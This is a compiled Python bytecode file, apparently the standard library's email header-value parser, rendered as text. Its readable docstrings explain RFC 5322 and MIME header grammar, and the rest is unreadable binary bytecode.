find any ASCII other than the RFC defined printable ASCII, a NonPrintableDefect is added to the token's defects list. Any quoted pairs are converted to their unquoted values, so what is returned is a 'ptext' token. In this case it is a ValueTerminal. r rŠ)rÖrÈrÎ)rrŠrårrrÚ get_qcontentjs  rçcCsNt|ƒ}|stjdj|ƒƒ‚|jƒ}|t|ƒd…}t|dƒ}t|ƒ||fS)z®atext = We allow any non-ATOM_ENDS in atext, but add an InvalidATextDefect to the token's defects list if we find non-atext characters. zexpected atext but found '{}'NÚatext)Ú_non_atom_end_matcherrrÛr#rarkrÈrÎ)rÚmrèrrrÚ get_atextys  rëc Cs|ddkrtjdj|ƒƒ‚tƒ}|dd…}|ddkrPt|ƒ\}}|j|ƒxœ|rì|ddkrì|dtkr|t|ƒ\}}nd|dd…dkrÔy"t|ƒ\}}|j jtj dƒƒWqàtjk rÐt|ƒ\}}YqàXn t|ƒ\}}|j|ƒqRW|�s|j jtj d ƒƒ||fS||dd…fS) zíbare-quoted-string = DQUOTE *([FWS] qcontent) [FWS] DQUOTE A quoted-string without the leading or trailing white space. Its value is the text between the quote marks, with whitespace preserved and quoted pairs decoded. rr zexpected '"' but found '{}'rjNrhz=?z!encoded word inside quoted stringz"end of header inside quoted string) rrÛr#rWrçrSrÞrØrârr§)rZbare_quoted_stringr.rrrÚget_bare_quoted_string‰s2            rìcCsÀ|r |ddkr tjdj|ƒƒ‚tƒ}|dd…}x^|r�|ddkr�|dtkr^t|ƒ\}}n&|ddkrxt|ƒ\}}n t|ƒ\}}|j|ƒq4W|s°|j jtj dƒƒ||fS||dd…fS)z¬comment = "(" *([FWS] ccontent) [FWS] ")" ccontent = ctext / quoted-pair / comment We handle nested comments here, and quoted-pair in our qp-ctext routine. rrzexpected '(' but found '{}'rjNrZzend of header inside comment) rrÛr#rXrÞrØÚ get_commentrærSrr§)rrAr.rrrrí«s"      rícCsTtƒ}xD|rJ|dtkrJ|dtkr2t|ƒ\}}n t|ƒ\}}|j|ƒqW||fS)z,CFWS = (1*([FWS] comment) [FWS]) / FWS r)rIÚ CFWS_LEADERrÞrØrírS)rrJr.rrrÚget_cfwsÄs  rïcCsptƒ}|r,|dtkr,t|ƒ\}}|j|ƒt|ƒ\}}|j|ƒ|rh|dtkrht|ƒ\}}|j|ƒ||fS)zÙquoted-string = [CFWS] [CFWS] 'bare-quoted-string' is an intermediate class defined by this parser and not by the RFC grammar. It is the quoted string without any attached CFWS. r)rRrîrïrSrì)rZ quoted_stringr.rrrÚget_quoted_stringÑs      rðc CsÐtƒ}|r,|dtkr,t|ƒ\}}|j|ƒ|rL|dtkrLtjdj|ƒƒ‚|jdƒrŒyt |ƒ\}}Wq˜tjk rˆt |ƒ\}}Yq˜Xn t |ƒ\}}|j|ƒ|rÈ|dtkrÈt|ƒ\}}|j|ƒ||fS)zPatom = [CFWS] 1*atext [CFWS] An atom could be an rfc2047 encoded word. rzexpected atom but found '{}'z=?) rKrîrïrSÚ ATOM_ENDSrrÛr#rÚrârë)rrLr.rrrÚget_atomãs$        ròcCs¢tƒ}| s|dtkr(tjdj|ƒƒ‚xP|rx|dtkrxt|ƒ\}}|j|ƒ|r*|ddkr*|jtƒ|dd…}q*W|dtkrštjdjd|ƒƒ‚||fS)z( dot-text = 1*atext *("." 1*atext) rz8expected atom at a start of dot-atom-text but found '{}'r rjNz4expected atom at end of dot-atom-text but found '{}'rl)ryrñrrÛr#rërSr†)rZ dot_atom_textr.rrrÚget_dot_atom_textþs     róc Cs¬tƒ}|dtkr(t|ƒ\}}|j|ƒ|jdƒrhyt|ƒ\}}Wqttjk rdt|ƒ\}}YqtXn t|ƒ\}}|j|ƒ|r¤|dtkr¤t|ƒ\}}|j|ƒ||fS)z† dot-atom = [CFWS] dot-atom-text [CFWS] Any place we can have a dot atom, we could instead have an rfc2047 encoded word. rz=?) rxrîrïrSrÚrârrÛró)rZdot_atomr.rrrÚ get_dot_atoms        rôcCs€|dtkrt|ƒ\}}nd}|ddkr8t|ƒ\}}n*|dtkrVtjdj|ƒƒ‚n t|ƒ\}}|dk rx|g|dd…<||fS)aˆword = atom / quoted-string Either atom or quoted-string may start with CFWS. We have to peel off this CFWS first to determine which type of word to parse. Afterward we splice the leading CFWS, if any, into the parsed sub-token. If neither an atom or a quoted-string is found before the next special, a HeaderParseError is raised. The token returned is either an Atom or a QuotedString, as appropriate. This means the 'word' level of the formal grammar is not represented in the parse tree; this is because having that extra layer when manipulating the parse tree is more confusing than it is helpful. rNr z1Expected 'atom' or 'quoted-string' but found '{}')rîrïrðÚSPECIALSrrÛr#rò)rÚleaderr.rrrÚget_word*s     r÷cCsþtƒ}yt|ƒ\}}|j|ƒWn(tjk rH|jjtjdƒƒYnXxª|rô|dtkrô|ddkr’|jtƒ|jjtj dƒƒ|dd…}qLyt|ƒ\}}WnDtjk ræ|dt kràt |ƒ\}}|jjtj dƒƒn‚YnX|j|ƒqLW||fS)a÷ phrase = 1*word / obs-phrase obs-phrase = word *(word / "." / CFWS) This means a phrase can be a sequence of words, periods, and CFWS in any order as long as it starts with at least one word. If anything other than words is detected, an ObsoleteHeaderDefect is added to the token's defect list. We also accept a phrase that starts with CFWS followed by a dot; this is registered as an InvalidHeaderDefect, since it is not supported by even the obsolete grammar. zphrase does not start with wordrr zperiod in 'phrase'rjNzcomment found without atom) rFr÷rSrrÛrr§Ú PHRASE_ENDSr†ÚObsoleteHeaderDefectrîrï)rrGr.rrrÚ get_phraseIs.          rúcCsttƒ}d}|dtkr"t|ƒ\}}|s6tjdj|ƒƒ‚yt|ƒ\}}Wn^tjk r¤yt|ƒ\}}Wn6tjk rž|ddkr”|dtkr”‚t ƒ}YnXYnX|dk r¼|g|dd…<|j |ƒ|oà|ddksä|dtk�r2t t |ƒ|ƒ\}}|j dk�r|jj tjdƒƒn|jj tjdƒƒ||d<y|jjdƒWn(tk �rj|jj tjd ƒƒYnX||fS) z= local-part = dot-atom / quoted-string / obs-local-part Nrz"expected local-part but found '{}'rzinvalid-obs-local-partz / obs-dtext obs-dtext = obs-NO-WS-CTL / quoted-pair We allow anything except the excluded characters, but if we find any ASCII other than the RFC defined printable ASCII, a NonPrintableDefect is added to the token's defects list. Quoted pairs are converted to their unquoted values, so what is returned is a ptext token, in this case a ValueTerminal. If there were quoted-printables, an ObsoleteHeaderDefect is added to the returned token's defect list. z[]rŠz(quoted printable found in domain-literal)rÖrÈrrSrrùrÎ)rrŠrÔrrrÚ get_dtextÅs   rcCs,|rdS|jtjdƒƒ|jtddƒƒdS)NFz"end of input inside domain-literalrËzdomain-literal-endT)rSrr§rÈ)rÚdomain_literalrrrÚ_check_for_early_dl_endÙs rcCsltƒ}|dtkr(t|ƒ\}}|j|ƒ|s6tjdƒ‚|ddkrRtjdj|ƒƒ‚|dd…}t||ƒrp||fS|jtddƒƒ|dt kr¢t |ƒ\}}|j|ƒt |ƒ\}}|j|ƒt||ƒrÊ||fS|dt krìt |ƒ\}}|j|ƒt||ƒ�r||fS|ddk�rtjd j|ƒƒ‚|jtdd ƒƒ|dd…}|�rd|dtk�rdt|ƒ\}}|j|ƒ||fS) zB domain-literal = [CFWS] "[" *([FWS] dtext) [FWS] "]" [CFWS] rzexpected domain-literalú[z6expected '[' at start of domain-literal but found '{}'rjNzdomain-literal-startrËz4expected ']' at end of domain-literal but found '{}'zdomain-literal-end) r‰rîrïrSrrÛr#rrÈrÞrØr)rrr.rrrÚget_domain_literalásD                    rc Csttƒ}d}|dtkr"t|ƒ\}}|s6tjdj|ƒƒ‚|ddkrvt|ƒ\}}|dk rd|g|dd…<|j|ƒ||fSyt|ƒ\}}Wn"tjk r¨t |ƒ\}}YnX|rÄ|ddkrÄtjdƒ‚|dk rÚ|g|dd…<|j|ƒ|oò|ddk�rl|j jtj dƒƒ|dj d k�r(|d|dd…<xB|�rj|ddk�rj|jt ƒt |d d…ƒ\}}|j|ƒ�q*W||fS) z] domain = dot-atom / domain-literal / obs-domain obs-domain = atom *("." atom)) Nrzexpected domain but found '{}'rr~zInvalid Domainr z(domain is not a dot-atom (contains CFWS)zdot-atomrj)rvrîrïrrÛr#rrSrôròrrùr7r†)rrnrör.rrrÚ get_domains@          rcCs~tƒ}t|ƒ\}}|j|ƒ| s.|ddkrH|jjtjdƒƒ||fS|jtddƒƒt|dd…ƒ\}}|j|ƒ||fS)z( addr-spec = local-part "@" domain rr~z"add-spec local part with no domainzaddress-at-symbolrjN)rzrÿrSrrr§rÈr)rrpr.rrrÚ get_addr_spec.s    rcCs’tƒ}xf|rl|ddks$|dtkrl|dtkrHt|ƒ\}}|j|ƒq|ddkr|jtƒ|dd…}qW| s€|ddkr�tjdj|ƒƒ‚|jtƒt |dd…ƒ\}}|j|ƒxŠ|oÈ|ddk�rB|jtƒ|dd…}|sèP|dtk�r t|ƒ\}}|j|ƒ|ddkrº|jtƒt |dd…ƒ\}}|j|ƒqºW|�sTtjdƒ‚|ddk�rrtjd j|ƒƒ‚|jt dd ƒƒ||dd…fS) zù obs-route = obs-domain-list ":" obs-domain-list = *(CFWS / ",") "@" domain *("," [CFWS] ["@" domain]) Returns an obs-route token with the appropriate sub-tokens (that is, there is no obs-domain-list in the parse tree). rrÊrjNr~z(expected obs-route domain but found '{}'z%end of header while parsing obs-routeú:z4expected ':' marking end of obs-route but found '{}'zend-of-obs-route-marker) rsrîrïrSÚ ListSeparatorrrÛr#ÚRouteComponentMarkerrrÈ)rZ obs_router.rrrÚ get_obs_route>sB               r cCs´tƒ}|dtkr(t|ƒ\}}|j|ƒ| s:|ddkrJtjdj|ƒƒ‚|jtddƒƒ|dd…}|ddkr¨|jtddƒƒ|jjtj d ƒƒ|dd…}||fSyt |ƒ\}}Wnztjk �r2y"t |ƒ\}}|jjtj d ƒƒWn(tjk �rtjd j|ƒƒ‚YnX|j|ƒt |ƒ\}}YnX|j|ƒ|�r`|ddk�r`|dd…}n|jjtj d ƒƒ|jtddƒƒ|�r¬|dtk�r¬t|ƒ\}}|j|ƒ||fS) z‡ angle-addr = [CFWS] "<" addr-spec ">" [CFWS] / obs-angle-addr obs-angle-addr = [CFWS] "<" obs-route addr-spec ">" [CFWS] rúzangle-addr-endznull addr-spec in angle-addrz*obsolete route specification in angle-addrz.expected addr-spec or obs-route but found '{}'z"missing trailing '>' on angle-addr) rqrîrïrSrrÛr#rÈrr§rr rù)rZ angle_addrr.rrrÚget_angle_addrgsJ                r cCs<tƒ}t|ƒ\}}|j|dd…ƒ|jdd…|_||fS)zÇ display-name = phrase Because this is simply a name-rule, we don't return a display-name token containing a phrase, but rather a display-name token with the content of the phrase. N)r‚rúr,r)rrbr.rrrÚget_display_name•s  rcCsÚtƒ}d}|dtkr6t|ƒ\}}|s6tjdj|ƒƒ‚|ddkr¦|dtkr^tjdj|ƒƒ‚t|ƒ\}}|s~tjdj|ƒƒ‚|dk rœ|g|ddd…<d}|j|ƒt |ƒ\}}|dk rÈ|g|dd…<|j|ƒ||fS)z, name-addr = [display-name] angle-addr Nrz!expected name-addr but found '{}'r ) rirîrïrrÛr#rørrSr )rZ name_addrrör.rrrÚ get_name_addr¤s0           rcCs’tƒ}yt|ƒ\}}WnNtjk rdyt|ƒ\}}Wn&tjk r^tjdj|ƒƒ‚YnXYnXtdd„|jDƒƒr€d|_|j |ƒ||fS)z& mailbox = name-addr / addr-spec zexpected mailbox but found '{}'css|]}t|tjƒVqdS)N)r‡rr§)rrrrrr Ñszget_mailbox..zinvalid-mailbox) rtrrrÛrr#Úanyr&r7rS)rrcr.rrrÚ get_mailboxÂs  rcCshtƒ}xX|r^|d|kr^|dtkrF|jt|ddƒƒ|dd…}qt|ƒ\}}|j|ƒqW||fS)zÍ Read everything up to one of the chars in endchars. This is outside the formal grammar. The InvalidMailbox TokenList that is returned acts like a Mailbox, but the data attributes are None. rzmisplaced-specialrjN)rurørSrÈrú)rrÑZinvalid_mailboxr.rrrÚget_invalid_mailbox×s   rc CsÀtƒ}�x®|o|ddk�r¶yt|ƒ\}}|j|ƒW�ntjk �r@d}|dtkrÚt|ƒ\}}| sz|ddkr˜|j|ƒ|jjtjdƒƒn@t |dƒ\}}|dk r¼|g|dd…<|j|ƒ|jjtj dƒƒnb|ddkrú|jjtjdƒƒnBt |dƒ\}}|dk �r |g|dd…<|j|ƒ|jjtj dƒƒYnX|�rŽ|ddk�rŽ|d }d |_ t |dƒ\}}|j |ƒ|jjtj dƒƒ|r |ddkr |jt ƒ|dd…}q W||fS) aJ mailbox-list = (mailbox *("," mailbox)) / obs-mbox-list obs-mbox-list = *([CFWS] ",") mailbox *("," [mailbox / CFWS]) For this routine we go outside the formal grammar in order to improve error handling. We recognize the end of the mailbox list only at the end of the value or at a ';' (the group terminator). This is so that we can turn invalid mailboxes into InvalidMailbox tokens and continue parsing any remaining valid mailboxes. We also allow all mailbox entries to be null, and this condition is handled appropriately at a higher level. rú;Nz,;zempty element in mailbox-listzinvalid mailbox in mailbox-listrÊrjzinvalid-mailboxrl)rdrrSrrÛrîrïrrùrr§r7r,r)rZ mailbox_listr.rörcrrrÚget_mailbox_listésN                   rcCstƒ}|s$|jjtjdƒƒ||fSd}|rŠ|dtkrŠt|ƒ\}}|sl|jjtjdƒƒ|j|ƒ||fS|ddkrŠ|j|ƒ||fSt|ƒ\}}t|j ƒdkrÚ|dk r¶|j|ƒ|j |ƒ|jjtj dƒƒ||fS|dk rð|g|dd…<|j|ƒ||fS)zg group-list = mailbox-list / CFWS / obs-group-list obs-group-list = 1*([CFWS] ",") [CFWS] zend of header before group-listNrzend of header in group-listrzgroup-list with empty entries) rfrrSrr§rîrïrrkr_r,rù)rZ group_liströr.rrrÚget_group_list"s8           rcCs"tƒ}t|ƒ\}}| s$|ddkr4tjdj|ƒƒ‚|j|ƒ|jtddƒƒ|dd…}|rŠ|ddkrŠ|jtddƒƒ||dd…fSt|ƒ\}}|j|ƒ|s¸|jjtj d ƒƒn|ddkrÔtjd j|ƒƒ‚|jtddƒƒ|dd…}|�r|dt k�rt |ƒ\}}|j|ƒ||fS) z7 group = display-name ":" [group-list] ";" [CFWS] rrz8expected ':' at end of group display name but found '{}'zgroup-display-name-terminatorrjNrzgroup-terminatorzend of header in groupz)expected ';' at end of group but found {}) rgrrrÛr#rSrÈrrr§rîrï)rrar.rrrÚ get_groupGs2            rcCsxtƒ}yt|ƒ\}}WnNtjk rdyt|ƒ\}}Wn&tjk r^tjdj|ƒƒ‚YnXYnX|j|ƒ||fS)aš address = mailbox / group Note that counter-intuitively, an address can be either a single address or a list of addresses (a group). This is why the returned Address object has a 'mailboxes' attribute which treats a single address as a list of length one. When you need to differentiate between to two cases, extract the single element, which is either a mailbox or a group token. zexpected address but found '{}')r`rrrÛrr#rS)rr\r.rrrÚ get_addresses rcCsÎtƒ}�x¼|�rÄyt|ƒ\}}|j|ƒW�n$tjk �rP}�zd}|dtkrØt|ƒ\}}| sr|ddkr�|j|ƒ|jjtjdƒƒnFt |dƒ\}}|dk r´|g|dd…<|jt |gƒƒ|jjtj dƒƒnh|ddkrø|jjtjdƒƒnHt |dƒ\}}|dk �r|g|dd…<|jt |gƒƒ|jjtj dƒƒWYdd}~XnX|�r¢|ddk�r¢|d d}d|_ t |dƒ\}}|j |ƒ|jjtj dƒƒ|r |jtdd ƒƒ|dd…}q W||fS) a� address_list = (address *("," address)) / obs-addr-list obs-addr-list = *([CFWS] ",") address *("," [address / CFWS]) We depart from the formal grammar here by continuing to parse until the end of the input, assuming the input to be entirely composed of an address-list. This is always true in email parsing, and allows us to skip invalid addresses to parse additional valid ones. NrrÊz"address-list entry with no contentzinvalid address in address-listzempty element in address-listrjzinvalid-mailboxzlist-separatorrl)r[rrSrrÛrîrïrrùrr`r§r7r,rÈ)rZ address_listr.ÚerrrörcrrrÚget_address_list‚sN                  rcCs¢tƒ}|s |jjtjdƒƒ|S|dtkrXt|ƒ\}}|j|ƒ|sX|jjtjdƒƒd}x8|r”|ddkr”|dtkr”||d7}|dd…}q^W|jƒsÈ|jjtjdj |ƒƒƒ|jt |d ƒƒnt |ƒ|_ |jt |d ƒƒ|oð|dtk�r t|ƒ\}}|j|ƒ| �s |ddk�rX|j dk �r>|jjtjd ƒƒ|�rT|jt |d ƒƒ|S|jt dd ƒƒ|dd…}|�rž|dtk�ržt|ƒ\}}|j|ƒ|�sÆ|j dk �rÂ|jjtjd ƒƒ|Sd}x2|�rü|dtk�rü||d7}|dd…}�qÌW|jƒ�s2|jjtjd j |ƒƒƒ|jt |d ƒƒnt |ƒ|_ |jt |d ƒƒ|�rv|dtk�rvt|ƒ\}}|j|ƒ|�rž|jjtjdƒƒ|jt |d ƒƒ|S)zE mime-version = [CFWS] 1*digit [CFWS] "." [CFWS] 1*digit [CFWS] z%Missing MIME version number (eg: 1.0)rz0Expected MIME version number but found only CFWSrr rjNz1Expected MIME major version number but found {!r}rÍÚdigitsz0Incomplete MIME version; found only major numberzversion-separatorz1Expected MIME minor version number but found {!r}z'Excess non-CFWS text after MIME version)rŒrrSrÚHeaderMissingRequiredValuerîrïÚisdigitr§r#rÈÚintr�rŽ)rZ mime_versionr.rrrrÚparse_mime_versionÀsv                        rcCshtƒ}xX|r^|ddkr^|dtkrF|jt|ddƒƒ|dd…}qt|ƒ\}}|j|ƒqW||fS)zÁ Read everything up to the next ';'. This is outside the formal grammar. The InvalidParameter TokenList that is returned acts like a Parameter, but the data attributes are None. rrzmisplaced-specialrjN)r–rørSrÈrú)rZinvalid_parameterr.rrrÚget_invalid_parameters   rcCsNt|ƒ}|stjdj|ƒƒ‚|jƒ}|t|ƒd…}t|dƒ}t|ƒ||fS)a8ttext = We allow any non-TOKEN_ENDS in ttext, but add defects to the token's defects list if we find non-ttext characters. We also register defects for *any* non-printables even though the RFC doesn't exclude all of them, because we follow the spirit of RFC 5322. zexpected ttext but found '{}'NÚttext)Ú_non_token_end_matcherrrÛr#rarkrÈrÎ)rrêr rrrÚ get_ttexts   r"cCs�tƒ}|r,|dtkr,t|ƒ\}}|j|ƒ|rL|dtkrLtjdj|ƒƒ‚t|ƒ\}}|j|ƒ|rˆ|dtkrˆt|ƒ\}}|j|ƒ||fS)zútoken = [CFWS] 1*ttext [CFWS] The RFC equivalent of ttext is any US-ASCII chars except space, ctls, or tspecials. We also exclude tabs even though the RFC doesn't. The RFC implies the CFWS but is not explicit about it in the BNF. rzexpected token but found '{}') rMrîrïrSÚ TOKEN_ENDSrrÛr#r")rZmtokenr.rrrÚ get_token)s        r$cCsNt|ƒ}|stjdj|ƒƒ‚|jƒ}|t|ƒd…}t|dƒ}t|ƒ||fS)aQattrtext = 1*(any non-ATTRIBUTE_ENDS character) We allow any non-ATTRIBUTE_ENDS in attrtext, but add defects to the token's defects list if we find non-attrtext characters. We also register defects for *any* non-printables even though the RFC doesn't exclude all of them, because we follow the spirit of RFC 5322. z expected attrtext but found {!r}Nr™)Ú_non_attribute_end_matcherrrÛr#rarkrÈrÎ)rrêr™rrrÚ get_attrtext@s   r&cCs�tƒ}|r,|dtkr,t|ƒ\}}|j|ƒ|rL|dtkrLtjdj|ƒƒ‚t|ƒ\}}|j|ƒ|rˆ|dtkrˆt|ƒ\}}|j|ƒ||fS)aH [CFWS] 1*attrtext [CFWS] This version of the BNF makes the CFWS explicit, and as usual we use a value terminal for the actual run of characters. The RFC equivalent of attrtext is the token characters, with the subtraction of '*', "'", and '%'. We include tab in the excluded set just as we do for token. rzexpected token but found '{}') r—rîrïrSÚATTRIBUTE_ENDSrrÛr#r&)rr˜r.rrrÚ get_attributeSs        r(cCsNt|ƒ}|stjdj|ƒƒ‚|jƒ}|t|ƒd…}t|dƒ}t|ƒ||fS)zÛattrtext = 1*(any non-ATTRIBUTE_ENDS character plus '%') This is a special parsing routine so that we get a value that includes % escapes as a single string (which we decode as a single string later). z)expected extended attrtext but found {!r}Nzextended-attrtext)Ú#_non_extended_attribute_end_matcherrrÛr#rarkrÈrÎ)rrêr™rrrÚget_extended_attrtextjs  r*cCs�tƒ}|r,|dtkr,t|ƒ\}}|j|ƒ|rL|dtkrLtjdj|ƒƒ‚t|ƒ\}}|j|ƒ|rˆ|dtkrˆt|ƒ\}}|j|ƒ||fS)z± [CFWS] 1*extended_attrtext [CFWS] This is like the non-extended version except we allow % characters, so that we can pick up an encoded value as a single string. rzexpected token but found '{}') r—rîrïrSÚEXTENDED_ATTRIBUTE_ENDSrrÛr#r*)rr˜r.rrrÚget_extended_attribute|s       r,cCsâtƒ}| s|ddkr(tjdj|ƒƒ‚|jtddƒƒ|dd…}| sX|djƒ rhtjdj|ƒƒ‚d}x,|r˜|djƒr˜||d7}|dd…}qnW|dd krÀ|d krÀ|jjtjd ƒƒt |ƒ|_ |jt|d ƒƒ||fS) a6 '*' digits The formal BNF is more complicated because leading 0s are not allowed. We check for that and add a defect. We also assume no CFWS is allowed between the '*' and the digits, though the RFC is not crystal clear on that. The caller should already have dealt with leading CFWS. rÚ*zExpected section but found {}zsection-markerrjNz$Expected section number but found {}rÚ0z'section number has an invalid leading 0r) r›rrÛr#rSrÈrrZInvalidHeaderErrorrr’)rrœrrrrÚ get_section’s&     r/cCs’tƒ}|stjdƒ‚d}|dtkr0t|ƒ\}}|sDtjdj|ƒƒ‚|ddkr^t|ƒ\}}n t|ƒ\}}|dk r€|g|dd…<|j|ƒ||fS)z quoted-string / attribute z&Expected value but found end of stringNrz Expected value but found only {}r ) r�rrÛrîrïr#rðr,rS)rÚvrör.rrrÚ get_value°s       r1c Cs–tƒ}t|ƒ\}}|j|ƒ| s.|ddkrN|jjtjdj|ƒƒƒ||fS|ddkrÎy t|ƒ\}}d|_|j|ƒWntj k r�YnX|s tj dƒ‚|ddkrÎ|jt ddƒƒ|dd …}d|_ |dd krätj d ƒ‚|jt d d ƒƒ|dd …}d }|�r.|dt k�r.t |ƒ\}}|j|ƒd }|}|j �rH|�rH|dd k�rHt|ƒ\}}|j}d}|jdk�r´|�rŽ|ddk�rŽd}n$t|ƒ\}} | �rÜ| ddk�rÜd}n(yt|ƒ\}} Wn Yn X| �sÜd}|�r2|jjtjdƒƒ|j|ƒx,|D]$} | jdk�rg| d d …<| }P�qW|}nd }|jjtjdƒƒ|�rb|ddk�rbd }n t|ƒ\}}|j �s„|jdk�rÜ| �sš|ddk�rÊ|j|ƒ|d k �rÂ| �s¾t|ƒ‚|}||fS|jjtjdƒƒ|�s|jjtjdƒƒ|j|ƒ|d k�r||fSnò|d k �rVx|D]} | jdk�r"P�q"W| jdk|j| ƒ| j|_|ddk�rttj dj|ƒƒ‚|jt ddƒƒ|dd …}|�rè|ddk�rèt|ƒ\}}|j|ƒ|j|_| �sØ|ddk�rètj dj|ƒƒ‚|jt ddƒƒ|dd …}|d k �rZtƒ} x>|�rR|dtk�r8t|ƒ\}}n t|ƒ\}}| j|ƒ�qW| }n t|ƒ\}}|j|ƒ|d k �rŽ| �sŠt|ƒ‚|}||fS)aY attribute [section] ["*"] [CFWS] "=" value The CFWS is implied by the RFC but not made explicit in the BNF. This simplified form of the BNF from the RFC is made to conform with the RFC BNF through some extra checks. We do it this way because it makes both error recovery and working with the resulting parse tree easier. rrz)Parameter contains name ({}) but no valuer-TzIncomplete parameterzextended-parameter-markerrjNú=zParameter not followed by '='zparameter-separatorr Fú'z5Quoted string value for extended parameter is invalidzbare-quoted-stringzZParameter marked as extended but appears to have a quoted string value that is non-encodedzcApparent initial-extended-value but attribute was not marked as extended or was not initial sectionz(Missing required charset/lang delimiterszextended-attrtextr™z=Expected RFC2231 char/lang encoding delimiter, but found {!r}zRFC2231-delimiterz;Expected RFC2231 char/lang encoding delimiter, but found {})r�r(rSrrr§r#r/r‘rÛrÈr•rîrïrðrVr“r&r*r7r1ÚAssertionErrorrrPrQr�rÞrØrç) rr³r.rörÒZappendtoZqstringZ inner_valueZ semi_validràÚtr0rrrÚ get_parameterÆsà                                             r6cCshtƒ}�xZ|�rbyt|ƒ\}}|j|ƒWnÄtjk rî}z¦d}|dtkrZt|ƒ\}}|sl|j|ƒ|S|ddkrž|dk rŠ|j|ƒ|jjtjdƒƒn@t |ƒ\}}|r¼|g|dd…<|j|ƒ|jjtjdj |ƒƒƒWYdd}~XnX|�r@|ddk�r@|d }d|_ t |ƒ\}}|j |ƒ|jjtjdj |ƒƒƒ|r |jt dd ƒƒ|dd…}q W|S) a! parameter *( ";" parameter ) That BNF is meant to indicate this routine should only be called after finding and handling the leading ';'. There is no corresponding rule in the formal RFC grammar, but it is more convenient for us for the set of parameters to be treated as its own TokenList. This is 'parse' routine because it consumes the reminaing value, but it would never be called to parse a full header. Instead it is called to parse everything after the non-parameter value of a specific MIME header. Nrrzparameter entry with no contentzinvalid parameter {!r}rjzinvalid-parameterz)parameter with invalid trailing text {!r}zparameter-separatorrl)r r6rSrrÛrîrïrr§rr#r7r,rÈ)rZmime_parametersr.rrör³rrrÚparse_mime_parametersQ sD                 r7cCsŒxX|rX|ddkrX|dtkr@|jt|ddƒƒ|dd…}qt|ƒ\}}|j|ƒqW|sbdS|jtddƒƒ|jt|dd…ƒƒdS)zBDo our best to find the parameters in an invalid MIME header rrzmisplaced-specialrjNzparameter-separator)rørSrÈrúr7)Z tokenlistrr.rrrÚ_find_mime_parameters… s  r8cCs°tƒ}d}|s$|jjtjdƒƒ|Syt|ƒ\}}Wn8tjk rl|jjtjdj|ƒƒƒt ||ƒ|SX|j|ƒ| sŠ|ddkr®|jjtjdƒƒ|rªt ||ƒ|S|j j ƒj ƒ|_ |jtddƒƒ|dd …}yt|ƒ\}}Wn:tjk �r$|jjtjd j|ƒƒƒt ||ƒ|SX|j|ƒ|j j ƒj ƒ|_|�sJ|S|dd k�r†|jjtjd j|ƒƒƒ|` |`t ||ƒ|S|jtd d ƒƒ|jt|dd …ƒƒ|S)zÅ maintype "/" subtype *( ";" parameter ) The maintype and substype are tokens. Theoretically they could be checked against the official IANA list + x-token, but we don't do that. Fz"Missing content type specificationz(Expected content maintype but found {!r}rrÃzInvalid content typezcontent-type-separatorrjNz'Expected content subtype but found {!r}rzcCsÐ|jp tdƒ}|jrdnd}dg}d}d}d}tddƒ}t|ƒ} �xz| �r¼| jdƒ} | |krf|d 8}qDt| ƒ} |s–| jd krŠtj | ƒ }n t j | ƒ }y| j |ƒ|} Wn6t k rÞt d d „| jDƒƒrÒd } nd} d}YnX| jdkrút| |||ƒqD|�rº| �rº| j�s†d}d}| j�r†| j|d�dt|jƒ …} |j| k�r†t| ƒ|t|dƒk�rtt|ƒ}|j|ƒ|d| 7<qDt| dƒ�s t| ƒ| } nt| |||| j| ƒ}d}qDt| ƒ|t|dƒk�ræ|d| 7<qD| j�r(t| ƒd |k�r(t|ƒ}|�s| jƒ�r(|j|| ƒqDt| dƒ�s`t| ƒ}| j�sV|d 7}|j|ƒ|| } qD| j�r‚| �r‚| jd| ƒd}qDt|ƒ}|�sš| jƒ�rª|j|| ƒqD|d| 7<qDW|jj|ƒ|jS)zLReturn string of contents of parse_tree folded according to RFC rules. z+infzutf-8zus-asciirNrFÚwrap_as_ew_blockedrjrŠcss|]}t|tjƒVqdS)N)r‡rr®)rrrrrr @ sz%_refold_parse_tree..z unknown-8bitTzmime-parameters)r/rýrlrlrlrlrl)Zmax_line_lengthÚfloatÚutf8rÀrÄrƒrr7Ú SPECIALSNLÚ isdisjointÚNLSETrýrªrr&Ú_fold_mime_parametersr)r;r1rkÚlinesepr>rSr8Ú _fold_as_ewr<r(Úinsertr!)Z parse_treer/Úmaxlenr¢r=Úlast_ewr?Z want_encodingZend_ew_not_allowedr±r*ÚtstrrPZ encoded_partÚnewlineZnewpartsrrrr0" s’                 r0cCs¸|dk r<|rrÜrý)Z to_encoder=rIrJr<rPZ leading_wspZ trailing_wspZ new_last_ewZremaining_spaceZ encode_asZ text_spaceZ first_partrßZexcessrrrrGŒ sF            rGcCsô�xì|jD�]à\}}|djƒjdƒs6|dd7<|}d}y|j|ƒd}Wn0tk r€d}tj|ƒrxd}d}nd}YnX|r¨tjj |d |d �} d j ||| ƒ} nd j |t |ƒƒ} t |dƒt | ƒd|krì|dd | |d<q n"t | ƒd|k�r|j d | ƒq d} |d} xÐ|�rêt |ƒt t| ƒƒdt | ƒ} || dk�rTd}|| d}}x<|d|…}tjj |d |d �} t | ƒ|k�r”P|d8}�qfW|j dj || | | ƒƒd } | d7} ||d…}|�r|dd7<�qWq WdS)a>Fold TokenList 'part' into the 'lines' list as mime parameters. Using the decoded list of parameters and values, format them according to the RFC rules, including using RFC2231 encoding if the value cannot be expressed in 'encoding' and/or the parameter+value is too long to fit within 'maxlen'. rjrÚstrictFTz unknown-8bitr£zutf-8r)Zsaferz {}*={}''{}z{}={}r@rhrz''r{éNNz {}*{}*={}{}rlrlrlrlrlrl)r¯r|ršrýrªrr­r¨r©rYr#rrkrSr)r*r=rIr¢r°rrPZ error_handlerZencoding_requiredZ encoded_valuerKrœZ extra_chromeZ chrome_lenZ splitpointZmaxcharsÚpartialrrrrEà s\        rE)•Ú__doc__Úrer¨ÚstringrÚ collectionsrÚoperatorrZemailrrÜrrrrÞrîrõrñr€røZ TSPECIALSr#Z ASPECIALSr'r+rDrBrrÄrr?rDrFrHrIrKrMrNrRrWrXr[r`rdrfrgrirqrsrtrurvrxryrzr�r‚r„r‰rŒr�r–r—r›r�r r´r¶rºr¼r½r¾rrÀrÇrÈrÉr†rr Úcompiler#r!rwrÏrÚmatchréÚfindallrÌr!r%r)rÎrÖrØrârärærçrërìrírïrðròrórôr÷rúrÿrürrrrrr r rrrrrrrrrrrr"r$r&r(r*r,r/r1r6r7r8r:r;r<r>r0rGrErrrrÚDs           C  "   !($ V +            *8" &'/'&).9%>D 49/j7